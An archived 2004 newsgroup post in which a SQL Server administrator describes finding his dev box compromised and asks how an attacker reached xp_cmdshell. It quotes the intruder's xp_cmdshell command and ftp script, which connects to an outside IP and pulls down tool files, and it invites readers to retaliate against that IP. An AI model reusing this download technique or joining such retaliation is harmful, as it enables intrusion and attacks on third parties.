

## hack using xp\_cmdshell

**Source:**

<http://www.tech-archive.net/Archive/SQL-Server/microsoft.public.sqlserver.server/2004-03/0018.html>

---

**From:** Andre (*AndreGetsEnoughSPAM\_at\_nospam.com*)

**Date:** 03/01/04

Date: Sun, 29 Feb 2004 23:26:47 -0800

I have a dev box running at home. The box is configured with Win2k Advanced Server, with sp4 and all security updates. It also is running SQL 2k Enterprise Edition with sp3a. It sits behind a Linksys firewall that is usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and 3389 for terminal server.

Occasionally, other developers I work with need to get on the box, and I'll open 1433, and very occasionally 21, for ftp.

About a week ago I discovered my serv-u server had been hacked. There was a new domain running. I wasn't too concerned because it had been setup to use port 65300, which has never been open on my firewall. I traded several emails with rhinosoft and finally just deleted the domain and kept my fingers crossed.

Yesterday, I wanted to see if my developers were on my box so I ran sp\_who2. I saw a box that I didn't recognize, then freaked when I saw the ProgramName - SQL Exec for NetHakcerIII. You can find a description of the program here: <http://www.timelink.cn/tianxing/netck.htm>.

Upon running dbcc inputbuffer, I discovered they were running the following: xp\_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".

Vga.txt contained the following:

```
open 205.146.38.34 1210
```

```
user echo
```

```
tools
```

```
BINARY
```

```
mget *.*
```

```
quit
```

First of all...if anyone out there reading this owns this IP...the FBI will be knocking on your door soon. Secondly, if anyone out there reading this would like to have some fun with this punk - you have their IP - have fun!

What I'm most concerned about though is how someone could have compromised my system. And especially xp\_cmdshell. I saved a lot of information about

## microsoft.public.sqlserver.server: hack using xp\_cmdshell

this person, including an outlook profile that I believe belongs to them, but what I don't remember is the Login that this was running under. I rebuilt my box last night, including deleting the partition. So what I didn't save is gone. I've never granted exec on xp\_cmdshell to any of my sql users, so this person had to be running it under the sa account. How were they able to compromise my system so easily? I've extremely diligent about apply security updates/service packs, and as I mentioned earlier, the box is usually locked down behind a firewall. With all ports closed it runs in stealth mode according to grc.com.

Any info is appreciated. I can also provide additional details of the files deposited on my box by this person too.

Thanks, Andre